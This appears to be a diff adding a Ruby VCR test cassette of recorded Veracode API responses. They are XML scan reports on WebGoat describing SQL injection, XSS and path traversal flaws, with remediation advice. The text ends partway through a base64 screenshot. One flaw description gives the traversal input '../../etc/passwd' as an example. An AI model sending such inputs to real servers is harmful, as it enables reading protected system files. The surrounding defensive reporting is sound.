+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"80\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"50\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"129\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable thisPage.
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameternames,
+        and javax.servlet.servletrequest.getparameter. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"143\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"89\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n</cwe>\n</category>\n</severity>\n<flaw-status
+        new=\"190\" reopen=\"0\" open=\"0\" fixed=\"0\" total=\"190\" not_mitigated=\"190\"
+        sev-1-change=\"0\" sev-2-change=\"14\" sev-3-change=\"31\" sev-4-change=\"22\"
+        sev-5-change=\"6\"/>\n</detailedreport>\n"
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:07:58 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/3.0/detailedreport.do?build_id=44905
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '200075'
+      Date:
+      - Tue, 27 Oct 2015 12:08:55 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<detailedreport xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"
+        xmlns=\"https://www.veracode.com/schema/reports/export/1.0\" xsi:schemaLocation=\"https://www.veracode.com/schema/reports/export/1.0
+        https://analysiscenter.veracode.com/resource/detailedreport.xsd\" report_format_version=\"1.5\"
+        app_name=\"WebGoat\" app_id=\"32338\" first_build_submitted_date=\"2012-02-29
+        16:17:16 UTC\" version=\"5.0\" build_id=\"44905\" submitter=\"Veracode\" platform=\"Java\"
+        assurance_level=\"5\" business_criticality=\"5\" generation_date=\"2015-10-27
+        12:08:56 UTC\" veracode_level=\"VL1\" total_flaws=\"190\" flaws_not_mitigated=\"190\"
+        teams=\"\" life_cycle_stage=\"External or Beta Testing\" planned_deployment_date=\"\"
+        last_update_time=\"2012-03-01 15:03:51 UTC\" is_latest_build=\"true\" policy_name=\"Demo
+        Policy\" policy_version=\"3\" policy_compliance_status=\"Did Not Pass\" policy_rules_status=\"Did
+        Not Pass\" grace_period_expired=\"true\" scan_overdue=\"true\" business_owner=\"\"
+        business_unit=\"Not Specified\" tags=\"\" legacy_scan_engine=\"false\">\n<static-analysis
+        rating=\"D\" score=\"69\" submitted_date=\"2012-02-29 16:16:57 UTC\" published_date=\"2012-03-01
+        14:26:18 UTC\" next_scan_due=\"2012-04-01 13:26:18 UTC\" analysis_size_bytes=\"3734905\">\n<modules>\n<module
+        name=\"WebGoat-5.0-with-jsp.war\" compiler=\"JAVAC_6\" os=\"Java J2SE 6\"
+        architecture=\"JVM\" loc=\"142966\" score=\"69\" numflawssev0=\"117\" numflawssev1=\"0\"
+        numflawssev2=\"14\" numflawssev3=\"19\" numflawssev4=\"21\" numflawssev5=\"2\"/>\n</modules>\n</static-analysis>\n<dynamic-analysis
+        rating=\"D\" score=\"89\" submitted_date=\"2012-03-01 14:58:22 UTC\" published_date=\"2012-03-01
+        15:03:50 UTC\" dynamic_scan_type=\"ds\" scan_exit_status_id=\"0\" scan_exit_status_desc=\"N/A\">\n<modules>\n<module
+        name=\"dynamic_analysis\" compiler=\"Unknown\" os=\"\" architecture=\"\" loc=\"0\"
+        score=\"89\" numflawssev0=\"0\" numflawssev1=\"0\" numflawssev2=\"0\" numflawssev3=\"10\"
+        numflawssev4=\"1\" numflawssev5=\"1\" target_url=\"http://10.10.31.202:8080/webgoat\"
+        domain=\"\"/>\n</modules>\n</dynamic-analysis>\n<manual-analysis rating=\"D\"
+        score=\"81\" submitted_date=\"2012-03-01 14:59:07 UTC\" published_date=\"2012-03-01
+        14:59:14 UTC\" next_scan_due=\"2013-03-01 14:59:14 UTC\">\n<cia_adjustment>0</cia_adjustment>\n<modules>\n<module
+        name=\"manual_analysis\" compiler=\"Unknown\" os=\"\" architecture=\"\" loc=\"0\"
+        score=\"81\" numflawssev0=\"0\" numflawssev1=\"0\" numflawssev2=\"0\" numflawssev3=\"2\"
+        numflawssev4=\"0\" numflawssev5=\"3\"/>\n</modules>\n</manual-analysis>\n<severity
+        level=\"5\">\n<category categoryid=\"1\" categoryname=\"Directory Traversal\"
+        pcirelated=\"false\">\n<desc>\n<para text=\"Allowing user input to control
+        paths used in filesystem operations may enable an attacker to access or modify
+        otherwise protected system resources that would normally be inaccessible to
+        end users.  In some cases, the user-provided input may be passed directly
+        to the filesystem operation, or it may be concatenated to one or more fixed
+        strings to construct a fully-qualified path.\"/>\n<para text=\"When an application
+        improperly cleanses special character sequences in user-supplied filenames,
+        a path traversal (or directory traversal) vulnerability may occur.  For example,
+        an attacker could specify a filename such as &quot;../../etc/passwd&quot;,
+        which resolves to a file outside of the intended directory that the attacker
+        would not normally be authorized to view.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"Assume all user-supplied input is malicious.  Validate all user-supplied
+        input to ensure that it conforms to the expected format, using centralized
+        data validation routines when possible.  When using black lists, be sure that
+        the sanitizing routine performs a sufficient number of iterations to remove
+        all instances of disallowed characters and ensure that the end result is not
+        dangerous.\"/>\n</recommendations>\n<cwe cweid=\"22\" cwename=\"Improper Limitation
+        of a Pathname to a Restricted Directory ('Path Traversal')\" pcirelated=\"false\"
+        owasp=\"932\" sans=\"865\" certc=\"743\" certcpp=\"877\">\n<description>\n<text
+        text=\"The software, when constructing file or directory names from input,
+        does not properly sanitize special character sequences that resolve to a file
+        or directory name that is outside of the intended directory or directories.\"/>\n</description>\n<manualflaws>\n<flaw
+        severity=\"5\" categoryname=\"Improper Limitation of a Pathname to a Restricted
+        Directory ('Path Traversal')\" count=\"1\" issueid=\"272\" module=\"manual_analysis\"
+        type=\"\" description=\"The software, when constructing file or directory
+        names from input, does not properly sanitize special character sequences that
+        resolve to a file or directory name that is outside of the intended directory
+        or directories.\" note=\"\" cweid=\"22\" remediationeffort=\"2\" exploitLevel=\"2\"
+        categoryid=\"1\" pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33
+        UTC\" remediation_status=\"New\" cia_impact=\"ppn\" grace_period_expires=\"2012-03-01
+        14:59:14 UTC\" affects_policy_compliance=\"true\" mitigation_status=\"none\"
+        mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack?Screen=306871788&amp;menu=200\"
+        cvss=\"9\" capecid=\"6\" exploitdifficulty=\"1\" inputvector=\"File\">\n<exploit_desc>An
+        attacker can use this to retrieve the contents of arbitrary files on the server.
+        This leads to a full compromise of the application running within the context
+        of the server.</exploit_desc>\n<severity_desc>An attacker can retrieve server
+        state information that allows a compromise of the security boundaries of the
+        application.</severity_desc>\n<remediation_desc>When the set of acceptable
+        objects, such as filenames or URLs, is limited or known, create a mapping
+        from a set of fixed input values (such as numeric IDs) to the actual filenames
+        or URLs, and reject all other inputs.</remediation_desc>\n<appendix>\n<description>undefined</description>\n<screenshot
+        format=\"PNG\">\n<data>iVBORw0KGgoAAAANSUhEUgAAAk4AAAGwCAYAAABfKeoBAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAFnqSURBVHhe7Z0Bkuw2jkT/OX3XOdus2x6t+WkCmaBIlaR6G+HYcQsEgQeIyGJ1z/z6L/8HAQhAAAIQgAAEIGAR+GVZYQQBCEAAAhCAAAQg8F+EE00AAQhAAAIQgAAETAIIJxMUZhCAAAQgAAEIQADhRA9AAAIQgAAEIAABkwDCyQSFGQQgAAEIQAACEEA40QMQgAAEIAABCEDAJIBwMkFhBgEIQAACEIAABBBO9AAEIAABCEAAAhAwCSCcTFCYQQACEIAABCAAAYQTPQABCEAAAhCAAARMAggnExRmEIAABCAAAQhAAOFED0AAAhCAAAQgAAGTAMLJBIUZBCAAAQhAAAIQQDjRAxCAAAQgAAEIQMAkgHAyQWEGAQhAAAIQgAAEEE70AAQgAAEIQAACEDAJIJxMUJhBAAIQgAAEIAABhBM9AAEIQAACEIAABEwCCCcTFGYQgAAEIAABCEAA4UQPQAACEIAABCAAAZMAwskEhRkEIAABCEAAAhBAONEDEIAABCAAAQhAwCSAcDJBYQYBCEAAAhCAAAQQTvQABCAAAQhAAAIQMAkgnExQmEEAAhCAAAQgAAGEEz0AAQhAAAIQgAAETAIIJxMUZhCAAAQgAAEIQGC5cPrjjz/+yz8woAfoAXqAHqAH6IFdPfCf//znYwpuuXD6SYZ/YEAP0AP0AD1AD9ADO3vgU8ppuXD6VCLsCwEIQAACEIAABHYTQDjtJox/CEAAAhCAAAReQwDh9JpSkggEIAABCEAAArsJIJx2E8Y/BCAAAQhAAAKvIYBwek0pSQQCEIAABCAAgd0EEE67CeMfAhCAAAQgAIHXEEA4vaaUJAIBCEAAAhCAwG4CHxFOv36t23alrxb2j9/Dd7vHqv1W+ekbZJfflY34hBhX5osvCEAAAhB4D4F1CqZhMhqMTxqWWayr8nD8ODYIp/e8jGQCAQhAAAL3J4BwGtRot3ByBZFrd6RQtf9Uez4lzk/xYV8IQAACELgvgY8Ip35wHl+LjX4+EgXRV2etn+jWK9qr3ae3yb6qy/xFAsHJP8rF3a/CYnRrdawffX2Z8Y9EnIrnvq8IkUEAAhCAAAT+IbBFOP24V2IjG7BVsVT11cc3Eg69YFAxjXw6X1m6YlH5z/xU8nXFnuLh1p+XEQIQgAAEIPAkArcQTtntSjv0j2Hs3HhUxNsZ4VS9Sclum/pbHiWGInGnRNbxfHR7Nbppau0jVn1tEE5POgaIFQIQgAAEXAK3EE5RsNEwvpNwckFHtz7RDY8jfka3PtHPqkLGFVDVGqnbrwpPbCEAAQhAAAJXE9gmnJxbCkccqFsXVxAoP+7tjbufk5uyUTGPbuBWCadM4LhxObFc3fDsBwEIQAACEDhD4OPCqRVYV/xO0OjrqR5g9feOstuZ7FaofVa54Wlts99JynLNvh4dxaJ8ZcKzr3F2y3ammVkLAQhAAAIQ2E1gq3DaHfwZ/1cP7137ZcLpDB/WQgACEIAABCDwbwJfJZyc26a3NMkuofYWPuQBAQhAAAIQmCHwVcJpBhBrIAABCEAAAhCAwEEA4UQvQAACEIAABCAAAZMAwskEhRkEIAABCEAAAhBAONEDEIAABCAAAQhAwCSAcDJBYQYBCEAAAhCAAASWC6c//vjjv/wDA3qAHqAH6AF6gB7Y1QP/+c9/Pqbglgunn2T4Bwb0AD1AD9AD9AA9sLMHPqWclgunTyXCvhCAAAQgAAEIQGA3AYTTbsL4hwAEIAABCEDgNQQQTq8pJYlAAAIQgAAEILCbAMJpN2H8QwACEIAABCDwGgIIp9eUkkQgAAEIQAACENhNAOG0mzD+IQABCEAAAhB4DQGE02tKSSIQgAAEIAABCOwmgHDaTfhi/79+fb6kRwxZLDNxOn5ncM/EMrMPayAAAQhA4PkEPj9lBcNdQ+3H7/GPU8aqvePTsanmX7XfGcPqWBBOTrWwgQAEIACBnQS+Ujj1A10N+Kr9yoKp2Nq9KraVGCt+W9vKOhXPLr8/+66MU+XBcwhAAAIQeDaBLcKpvRnoB150yzO60Wl/lg1OJWw+9bzPNbu1OpP/0YIjRp+OIco56otIxFTsV3F+9qtN9BCAAAQgsIPANuFUESuZ7WiQZj9z7CuxjW4knPWOzUjw9Ps5+UQx3iGG6EZspxB29sxu6riB2nHU4BMCEIDAOwhsE049noo4yoZqht0deEpQVGIfxeOIHVc4rMxpdw0U1yjnyjpXyGY3eGfr+45XnywgAAEIQGCGAMLpT2pKnKjBrgaxGvYVQTMr1O4Qw4xwWilC2xs+V7jOvFSsgQAEIACB9xJ4pHB6wld1Sky5g7sqHFpxcLcY7iKcehFZFcbvPQ7IDAIQgAAEFIHLhNMxrI6vUEZDXT2LRIEafJH4yParxtfaRzdYo6+P+luQLNZR/tle0e2U4rwyhihnRzg6HFVt+31Guav+US8RzyEAAQhA4HsIbBFO34Pv85mqrxmviHBXDLv8XsGEPSAAAQhA4J0EEE7vrCtZQQACEIAABCCwgQDCaQNUXEIAAhCAAAQg8E4CW4RT9hXLm75+uSLPY48r94pafXUMZ3vh7PqfPFf4eOfRQFYQgAAEIDAicLlw+kQZqsPRtXftzuTsCKcz/tu1Kh/1vBrHWX9n11fjxR4CEIAABCDwauGU/RXbUEVO/A//7myh7C/PVu/riBDHxo1rha8VPtx4sYMABCAAAQj89U3FDgytYMn+1Duz+yu4P4VMdiOinh9rowF79ue78hzFfeVeB/tjzzaeSIz2Ik+J1oq9s2cUs4q9EseOdwWfEIAABCDwLALbhFMkeLJbFEcIZV9dnRVCVaGlRGHkr5Kn42MV0zP5n4nB5diLaXdP179Tl2e93kQLAQhAAAKrCdxaOEXJVr+i2WW/cyCrIR6JBrVuxHS0ZsRsVb4qxhlB5MY2K75Wv3j4gwAEIACBZxJAOA3q5gotd1grodCHsFO0OHu1N0+7RUwvZDJhMyt6dtXpma88UUMAAhCAwBkCtxZOmYBwxEUrAJyblqr9qoHsCKsr92pZIZzOvF6shQAEIACBtxHYJpx+Bu7xz8wgVjcR7vM2DiVQetuq/Yo8o9suNw8nZkcgRrU7U9cst4jdUWfVS5ld/ywSg4rd215+8oEABCAAgTqBLcKpHgYrlJjZQcj9SnLV3lfvF8V9lzhWccUPBCAAAQhcRwDhdB1rdvoggeim7IMhsTUEIAABCDyQAMLpgUUjZAhAAAIQgAAEPkMA4fQZ7uwKAQhAAAIQgMADCVwinPidkn2d8Ra2Ko/suVrr0ld+Vseg9lNxn13/43+FDxUnzyEAAQi8iQDCaUM1q79PU7VvQ37L4FN5qOcryqj2UM+rMZz1d3Z9NV7sIQABCEBg0/9WXQ/2mw746p+0V+3fyNbpD8fmzAvt+Hds3BhW+Frhw40XOwhAAAIQ+JvAthun9hZlJA6O5yMhMHo28pfd1ETPsrj+ArLof1j4yEv5U0JoNBzfwjZj1PeAyrn1pfpi9PI7Pboqhr7PnJ6M3on+9tF5r9pc+/+csePQhAAEIACBTcKpIhaiQ3w0XPohEf17tr+KLRIqI1EV/SwSBCvsVfy7meximzFTgtbtIbeG0U2Om7uqUeX5ij1X+OCwhAAEIACBvwlsuXFyBsPok23/yXt2ILqDQgmZTKipBoqGb7TOtX8b2+imp+fk1lTxGfG/OgYVo9v3M3bZBxIVl+p5nkMAAhD4BgKXCyd3AFYGZzYMKs+ygrvCpiLG1C2LO+QjP9lgzURhpUbu8HZy6WNyfbt2d4hh1EcreO/28Q2HITlCAAIQcAjcWjhVBqJrqz5VZ4OtOvScQa0EWSXeFcNzJPx2sa3k7uZW4eWI3Jnc3VhnBG8UT2XPGR/OYYINBCAAgW8gsEU4HQPp54A+/hndJqhns7ci/f5n/VTXt3k7g7xi/xa2kWia7RlHhPRC6eoYsv1Uj0XvSvRe9YdX1GOuMPyGw5AcIQABCDgEtgknZ3NsvpeAum26gszVMVy9X8TwLnFcUWP2gAAEILCaAMJpNVH8QeCGBKKbvBuGSkgQgAAEbk0A4XTr8hAcBCAAAQhAAAJ3IvBx4cTXBn+3wy4Ou/weTTzjf2aN89Iov9lztXa0/8ya1s/Z9Tv7xuGNDQQgAIFvJPD1wmn2K4wVQ2/1EN0x3NVLMcNhZo2KwxERq/c96+/seocJNhCAAAQgsJbAVwsn9RdvEerRXzidLcuOIbrD5wqxtyMux6dj49Zxha8VPtx4sYMABCAAgTUEtgmn7CanfdYOj9HPlZ9skFeFkWN/2IyGXvSzSGjt4nAw6dkqVqM423wVH1Wr0fOzNR/letw+9flEvPvbqswuYuvmPlODPp+ork7ca44NvEAAAhD4XgLbhFM0ILLh6wxmdeNRFTbtUOrboBJrP3xHLeUKmZUcMmERtf1IzCo22fMKx2ruI+4jAavs3NooPyMR5rwLs4wqcX/vMUfmEIAABNYR2CacstsUZ5A4A8oZ/BVU0cA9G0t007KTQ3T7FQk8t16REGsF6Oim58pcRzdnqoYVAVIRd64gcu0yYabiqrwL2EIAAhCAwJjAFuG0YgioQZcVNBNAs+t6YREN50ggzN5EzHBQNy5qwGYiIhNeM+KoEsuodkrsuoJoxi4SkTO+VrwziiWHIAQgAAEInCfwaOE0c6viCptIIKgbF9f/7KB0hJQSE33bVGL5tHCqioPdIkbVw2Xr2nHjdP7QwwMEIACBMwS2CKfjcB99RZU9U0Nx9fM+FiUoMlGUCYorOajbtuw2ahSnYt4zuUOu1RgyMdI+Uzd52Q3U6IZyxDa6yWxzisRgpVZnDg3WQgACEPhmAtuE0zdD/WTuSjidjW23/0p8V8dy9X4Ri7vEUakVthCAAATeQgDh9JZKkserCUS3aK9OmuQgAAEI3JAAwumGRSEkCEAAAhCAAATuSQDhdM+6EBUEIAABCEAAAjcksEU4vel3MFblsspP1EO7/Y/2Vb8sPRtTZZ2yzZ6rtZWc3Xd7Zs/e9wofbrzYQQACEIDA7wReJZycgdL/dZJao567DbXKD8Kpa+BfeQuv5n7W39n1br9hBwEIQAACewi8RjhFf8atsKlBpp4r/z/PV/jI9tntvyLW2lhm43LXOXaOjVPDVXVcGY8bN3YQgAAEILCOwHbh1N/w9KH3g6T67+1AGw2l6lc12f7VXI5cMzEx2m8kAg+77Fm7X2/nxB6Jz3ZtWz/Fu8878nPUsLLPSMiM1md5V+Lr95vl6dY7Y1KNe91xgScIQAACELhEOGXDNhu+ajCPhpkSZpXBr/wrkRcNdxVDJLiqPFzuSixGflT+rmCs+BmxGXF27Nz4qnV0ebp2WR8qdhxxEIAABCCwlsDHhVOUzkgkKFHkrIkGqhPHzJCaEYbRzckoxugGo8JqxQBX4mJ2D6cux95VYYlwWnuY4A0CEIDANxB4vHDqvzJxxdOMXVU4RXscP1f+ssGe3bKMhMSscHHXKdHi+lF5qedHP6y8cVK5ZTdCs7dFLi/VQ99wiJEjBCAAgSsJfFw4zdzIuLcQ0ZDNRJM7sNQNizPgz9wKKf+zw3x2nRIXV3FdFX9VtLq3VzN2s+LryoOEvSAAAQh8C4FLhNPoqyfnRsARJ22h1PCO9sx89IPOzUXdaGW3UaM93JuFKL725xGn/ram5TV6Ft2cjThX9q+ILCfGjInqw6xOqm8yZiruo/dVL7h98S0HGnlCAAIQ2E1gi3BSYmZ3Urv8KzF0Zd6VWEYCdCUjJxbHxolplR9nr93c3BjuFEclZmwhAAEIvJEAwqlQ1auHdiE0afrp2D+9vwR0Q4PsdvOG4RISBCAAga8gsF04fQVFkoQABCAAAQhA4CsIIJy+osz6v708uxFadVukfidq9iupVfF9SSuQJgQgAAEInCDw9cKp/6VlZwg/8SsUlZd6fqLH/n+pI5xm9rki9pm4WAMBCEAAAu8jgHAS/yOxfcmf+FdMjrBwbM60f+t/5V4rfZ3Jj7UQgAAEIPAdBLYJJ/Vn1P3XMv3Nz0iwuH/e3a5VQkcN3ur6kb9PsTg4jHLoWWb8e9GT3bhFPF0frl01t6gnZvvuO44HsoQABCAAgX/pkR1IMjESfV2TCZTKs1aQRSKmH6IVIbBCSPVDv+JzlkUkNDIBMnpWidXxPRLQM+t6PyPhPbKp8FQie8e7hE8IQAACELgXgS03TqOboZViwUE4O+TUOiUcRgNb3cIon/0tjJN/Jj5cQTkjnEaxzeZXWXeIok+yrtQFWwhAAAIQeCaBLcKpHbjR8KsMRSVmnGHtlkftpeKO9hmJyRW3b1le6uYvE2TRs2r+u0RaJbf2pknFf0akuj2GHQQgAAEIPJfAVuHUDqwW0Zlh2vvMfFX3GcVbGbRRvtHtj8tnRuCoWBTHWeGkeCnGs7n2r6BT+0osDs/nHgNEDgEIQAACLoEtwum4XVFfm2RiajSAs1ubSJy4g3zkOxM2rv2nWGTsI45RrK6YUWKsrdGZvaq5VYSr23fuC4YdBCAAAQi8i8AW4aQQZV+zqLVve76LxS6/Ff67Ypj1O7uukjO2EIAABCDwbgKXCyeG1z8NBYvrXi5YX8eanSAAAQi8mcDlwunNMMkNAhCAAAQgAIF3E7hUOO361L/L75tKv4vRLr9V9iqO7Lla68ai/KyO4cx+bk4jO7XvGd+shQAEIHB3Ao8QTuqgVs/vWITol8ujQVWxXznsFFv1/Cr2Kg71fEWcag/1vBqD8qeeR/updep5NQ/sIQABCDyJAMLpA9WqDJ7etrK2TW3Xulm/K7E7MTg2Z2Jy/Ds2bgyOL8dmRmTP+nVzww4CEIDAnQlsE07HDUl7yLY/U4LgeB6tUb5GNzR9LEdh3Bh/7N24R75H6/vmOOv/2KPPX/Eaiay7s88Yz+afccrqN6rbrhiiPpzdr/V3t5rf+fAkNghA4DsJbBFO0SfSTBTMPuuHiOvHEVGOUOqHjiOERqLSFVpVYeX4dZkpHq6fHeyjPKv5z/BVa3bH8Ob37TuPZbKGAATuTGCbcBod5u5grYihim17ixUJHncIKoEUFb3qf8b+m9hHNz2qPrPibVTXq2NYvV/lHarY7nzf7nyoEhsEIPBuAluEU/sJOxpQMwdw9ZN7tEd0oKsblawVok/9lQHuDmWnJUdf27TrVtRlpoYr2WfMZ/OfEaqZSJ7hXPmA0dd0Zr9KHSu2CCfnTcUGAhB4GoGtwmnmkB2JIzXM3GHhCKPKXn2s1ZueXfFUGVYG9Srb3bnP9l61/kowu705Y6eE9mytKgwqtjM1f9qBSrwQgMD7CWwRTsen/ZlDNVvbDxdlewchE8XQ34iMxE77M9f+W9hHgsXpiVlBocSYqlcb20wMMzlHt4xHLorXKKdR7JX+VDG9/9glQwhA4MkEtginJwMh9mcQUDc9V2RxdQxX73cFQ/aAAAQg8DQCCKenVYx4IQABCEAAAhD4GAGE08fQszEEIAABCEAAAk8jgHB6WsWIFwIQgAAEIACBjxHYIpxmfxdjdt3H6HUbz8Y/u+5ne7U2e67WulyVn9UxHP7UvlH8s+tcHthBAAIQgMB7CdxWOO0Ybv1fNTl7RH91NGoJx59aV/Wh7NXzFa2t9lDPqzGsFE6rY6vmgj0EIAABCDyLwFcJp740amiO/uw6K6/y59yAVHw4to7NmZZ1/Ds2bgytr1m/K3y48WIHAQhAAALvIrBNOGU3NdGz9iZhZKOEjHrelm40dNV65/kVeR95jOI59m9tFO8f29bGYfOJGI44ndz6nEa1Vzm/61UnGwhAAAIQWEFgm3BSImU0eNVNQDbQK8O+H8CZCMjycIRU9ZbJzUPt7eSU8Xb8OzYj1tG+yl/1eVQ71WcrXix8QAACEIDAOwl8RDhFn/RnB9pIbGTlcu3VoO73UPYr845umyoxVYTTiOfVMTh8e7E0um2b7bN3HgFkBQEIQAACFQKXC6ds+M0ONFcIRbcwzq1QdEvl3kitzDvL9xAKq2+clCAbCZaVMTg3ca4QnO2zyouFLQQgAAEIvJPAo4RTNjydwarEz8yNxhXCScWViZpZwab2VGJ1hYhRAsfNra+78vvOV52sIAABCEBgBYHLhdMxxNRXKK2dc3MxEkWumMpuokZxnonnbN6RYInibH8+KzQy4TG6aYq+wutvw5Tfw0+WsxKuM7xXvFj4gAAEIACBdxLYIpzeieoeWambniuivDqGq/e7giF7QAACEIDAMwkgnJ5ZN6KGAAQgAAEIQOADBBBOH4DOlhCAAAQgAAEIPJPArYUTv8SbN9Usn91ffe32P6Li/h7U2dd0F/OM2QzPmTUtm7Prf3yt8HG2XqyHAAQgsJrArYXT6oO8h5f94ncEuvrL2asLVo2rIjJWxfqJgXmVcJrtScVEPa/W5qy/s+ur8WIPAQhA4CkEvlY4ZX9hFomN0V+FjT5Zf2LouHu6drMNvNt/RTjujsX179g5Nm5NVvha4cONFzsIQAACTyKwRTi1NznHAZzd7kTPsq9FlPBZ/fwoqjNQnL37nHfzGcVfiXN00zISkiOfvd2oP3r/mUh19u0F7Sd6MuqZUa0zJv17kPWKk7fD2qljm1+Uk7J50mFJrBCAAAT+OmN3YHAGsnNzUBFO7cAYiZvoZ9mAjm6eMmbO3p/mkw10ty4zeTr7Zmxmn/Viwvn3kVAciZLIzsk1Wxv1frV3Zpm5757rX8W94xzCJwQgAIEdBG4hnKJP29nh7Qz4isAZCYGqcJr1oYbKKj6Z2FHC0qlFdEvRc3SHbUWoOAxdoXLs69yiqJdyNZOVebp1cO2yeqm4FUeeQwACELgLgY8LJ/dQnhUlrsA6699d79x2zHzaV/tHz4+fq8GmhFO2/yFAnFsYtx8qQ/puzFthVmVS4aPydn25dpWaqH69ywFJHBCAAAT+9eF/B5IzQzga0Mpne2hnNyvOoBoNnGhdZju71wrh5PCq5HRGOGUDdcezs/V3hYJirMTB6jpX816R5wofO84gfEIAAhDYReDjN07tp+/sZqI6pJR9v++/FOWv39EcsbX/vxUe/fPWn4rFeR7t64izygDv41b7KpHZ1zSr94jnqC6RTxVLtSYqd1c0REwd1q6wjGpc6S3FZ8R91fu764DDLwQgAIHVBLYIp9VB4u8cASWcznmv/xcd7oxnp+8Kp6vjuHq/iMVd4qjUClsIQAACFQIIpwotbJcQYLguwXgbJ6ObudsERyAQgAAEFhNAOC0GijsIQAACEIAABN5LAOH03tqSGQQgAAEIQAACiwkgnBYDfau73V+v7fY/qov7C9V3qKnikz1XaytsXBYze/a+V/hw48UOAhCAgEsA4dSQygZp9BdFEWh16KvnbgGvstsd727/FXHwiVhUHVVM6rnyv1q0rI6nGj/2EIAABHYRQDj9STb75Vb159yjgaNElnq+q9izfncPwd3+K+L2U7FktXFicmzc+q/wtcKHGy92EIAABK4ksEU4ZWJDCZGRiGl/NjqQHZ8t1OxmSX3yVnsd69UeZ/NQcazgOMplZt8fP8e6kWgc+eztnB6IBGkkjFUNPt3HUS9Va9vmoTi2tTr+c8Svf569Y66PPtaWQebjykOTvSAAge8mcCvhFA0qZ1hHgkcNRyWoZvbuh48jQEZrZgf3Do7ZEHdudDJRo2qg2Kzm5OQ6s+dML6k11ViVv8pzl4FrNxJtTn7ffYSTPQQgcDWBWwuns4fmSDRlgB2R5fqsDCBHeGRDRT07wzFjEj2LbkRGeY44VeuwYjArcaYYRzclmSh0emk1n2pfrmC728fVhyb7QQAC300A4dTUvzqwKyKsFRMjYeGKCkcERQNZDc0+BuVH+VNiIhMOB6OZfLN9o2fV2lfEgJODU/9ehK3Is1qj3Xu69XFE53cf7WQPAQjsInBr4XQcjpUB3Q8pZyBGg616C5HdLjiipJJnZXDPclTCRuVUHcqZv5l8Vf2q8c2IhjaGSn1Hsa/gU+FY4dfbnmWV+XPY7Dow8QsBCEBgi3A6DrboZqX9+eggH902RL7U4e4+r8aU3SJkvioi7ZMc1Sf66HmUuxINLZe+/opD/3wkMCKfagi7fbG6jx2+vVDP3resXzMGqm7OnpX6RIJLxcFRDgEIQOAqAtuE08oE1BBfudebfVU4VmxnmFX9V+0rMe303YsbN66rYsqEvBvrSrur814ZO74gAIHvIIBw+o46/5Xlk4fSk2